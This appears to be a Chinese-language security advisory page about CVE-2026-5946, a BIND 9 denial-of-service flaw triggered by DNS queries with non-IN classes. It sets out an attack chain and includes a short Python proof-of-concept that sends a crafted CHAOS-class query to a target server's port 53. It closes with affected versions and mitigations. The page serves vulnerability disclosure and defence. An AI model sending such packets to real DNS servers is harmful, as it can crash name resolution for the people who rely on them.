IPBUF安全漏洞报告
English
CVE-2026-5946 CVSS 7.5 高危

CVE-2026-5946 BIND 9 非IN类处理DoS漏洞

披露日期: 2026-05-20

漏洞信息

漏洞编号
CVE-2026-5946
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
BIND 9

相关标签

拒绝服务DNSBIND 9CVE-2026-5946断言失败远程漏洞

漏洞概述

BIND 9是互联网广泛使用的DNS服务器软件。该漏洞源于named进程在处理非Internet类(例如CHAOS、HESIOD)或指定元类的DNS消息时存在缺陷。攻击者可构造特制的恶意请求,触及递归、动态更新或区域通知等受影响的代码路径,进而触发断言失败。这将导致named服务崩溃,使合法用户无法访问DNS解析服务,造成拒绝服务风险。

技术细节

该漏洞的核心问题在于BIND 9的`named`守护进程对DNS消息CLASS字段的校验逻辑存在缺陷。正常情况下,DNS主要处理Internet (IN) 类记录,但在处理非IN类(如CHAOS、HESIOD)或元类(如ANY、NONE)时,特定代码路径未正确处理异常状态。当攻击者发送特制的DNS请求,且该请求触及递归解析、动态更新(UPDATE)、区域变更通知(NOTIFY)或在非IN类数据中处理IN特定记录类型的逻辑时,会触发内部断言检查失败。由于断言失败会导致进程异常退出,远程未认证攻击者可利用此漏洞,通过发送简单的恶意数据包耗尽服务资源,导致DNS服务崩溃,严重破坏网络基础设施的可用性。此外,由于无需用户交互且利用复杂度低,该漏洞极易被自动化工具大规模扫描利用,对互联网安全构成严重威胁。

攻击链分析

STEP 1
步骤1:信息收集
攻击者扫描网络,识别出运行受影响BIND 9版本的DNS服务器。
STEP 2
步骤2:武器化
攻击者构造特制的DNS请求包,将Class字段设置为CHAOS、HESIOD或ANY等非IN类值。
STEP 3
步骤3:交付
攻击者通过UDP协议将特制数据包发送到目标DNS服务器的53端口。
STEP 4
步骤4:利用
目标服务器的named进程解析该请求,触受影响代码路径中的断言失败。
STEP 5
步骤5:影响
由于断言失败,named进程崩溃,DNS服务停止,导致拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-5946: BIND 9 Non-IN Class Handling DoS # This script sends a crafted DNS query with a CHAOS class to potentially trigger the assertion failure. import socket import struct def craft_dns_packet(): # DNS Header: Transaction ID, Flags, Questions, Answer RRs, Authority RRs, Additional RRs # ID=0x1337, Flags=0x0100 (Recursion Desired), QDCOUNT=1 header = struct.pack('!HHHHHH', 0x1337, 0x0100, 1, 0, 0, 0) # Question Section: Name, Type, Class # Name: "." (root) in DNS format (0x00) # Type: A (1) # Class: CHAOS (3) instead of IN (1) to potentially trigger the flaw question = b'\x00' + struct.pack('!HH', 1, 3) return header + question def send_poc(target_ip, target_port=53): try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) packet = craft_dns_packet() sock.sendto(packet, (target_ip, target_port)) print(f"[+] PoC packet sent to {target_ip}:{target_port}") print("[+] Check if the BIND service has crashed or logged an assertion failure.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "192.168.1.100" # Replace with actual target IP send_poc(target)

影响范围

BIND 9.11.0 - 9.16.50
BIND 9.18.0 - 9.18.48
BIND 9.20.0 - 9.20.22
BIND 9.21.0 - 9.21.21
BIND 9.11.3-S1 - 9.16.50-S1
BIND 9.18.11-S1 - 9.18.48-S1
BIND 9.20.9-S1 - 9.20.22-S1

防御指南

临时缓解措施
在不便立即升级的情况下,建议通过配置访问控制列表(ACL)严格限制允许进行递归查询或区域更新的客户端IP地址。此外,可以在网络边界设备上部署流量过滤,丢弃异常的DNS数据包,以降低被攻击的风险,直至完成补丁更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表